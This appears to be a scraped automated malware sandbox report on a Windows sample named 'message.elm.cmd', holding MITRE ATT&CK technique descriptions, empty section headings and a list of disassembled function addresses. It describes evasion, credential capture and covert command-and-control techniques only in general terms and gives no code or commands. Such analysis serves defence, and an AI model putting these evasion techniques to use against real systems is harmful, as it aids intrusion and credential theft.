Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report message.elm.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

SMTP Packets

Code Manipulations

Statistics

CPU Usage

Function 004210D0, Relevance: 93.0, APIs: 7, Strings: 46, Instructions: 276
COMMON

Function 00423260, Relevance: 67.0, APIs: 37, Strings: 1, Instructions: 460
memoryCOMMON

Function 0041F660, Relevance: 35.1, APIs: 3, Strings: 17, Instructions: 125
libraryloaderCOMMON

Function 00425D91, Relevance: 12.1, APIs: 8, Instructions: 134
COMMON

Function 00420570, Relevance: 214.1, APIs: 14, Strings: 108, Instructions: 584
COMMON

Function 0041FD50, Relevance: 107.1, APIs: 9, Strings: 52, Instructions: 368
memoryregistryCOMMON

Function 00420AC8, Relevance: 105.3, APIs: 14, Strings: 46, Instructions: 299
COMMON

Function 00421550, Relevance: 86.0, APIs: 9, Strings: 40, Instructions: 293
memoryregistryCOMMON

Function 0041F8E0, Relevance: 73.8, APIs: 9, Strings: 33, Instructions: 291
COMMON

Function 00415060, Relevance: 61.6, APIs: 10, Strings: 25, Instructions: 301
COMMON

Function 00412620, Relevance: 56.2, APIs: 15, Strings: 17, Instructions: 215
memoryfileCOMMON

Function 00421A20, Relevance: 51.0, APIs: 9, Strings: 20, Instructions: 219
memoryregistryCOMMON

Function 0041FAD9, Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 142
memoryregistryCOMMON

Function 0041F020, Relevance: 16.6, APIs: 11, Instructions: 82
serviceCOMMON

Function 00412897, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 79
stringprocessCOMMON

Function 004122F0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 52
fileCOMMON

Function 0041EFA0, Relevance: 10.5, APIs: 7, Instructions: 41
serviceCOMMON

Function 00429190, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMONLIBRARYCODE

Function 0041F100, Relevance: 7.5, APIs: 5, Instructions: 35
synchronizationCOMMON

Function 0042AF1A, Relevance: 3.1, APIs: 2, Instructions: 59
memoryCOMMONLIBRARYCODE

Function 0042630D, Relevance: 3.0, APIs: 2, Instructions: 34
memoryCOMMONLIBRARYCODE

Function 0042846F, Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Function 0041C660, Relevance: 372.2, APIs: 33, Strings: 179, Instructions: 1203
libraryloaderCOMMONCrypto

Function 00408BC0, Relevance: 302.5, APIs: 1, Strings: 171, Instructions: 1478
COMMONCrypto

Function 0041D159, Relevance: 233.4, APIs: 17, Strings: 116, Instructions: 622
libraryloaderCOMMON

Function 0040C8E0, Relevance: 210.9, APIs: 14, Strings: 126, Instructions: 925
stringCOMMONCrypto

Function 00409119, Relevance: 187.4, Strings: 149, Instructions: 1189
COMMONCrypto

Function 004091A7, Relevance: 184.9, Strings: 147, Instructions: 1169
COMMONCrypto

Function 0040EDE0, Relevance: 183.2, Strings: 146, Instructions: 703
COMMONCrypto

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre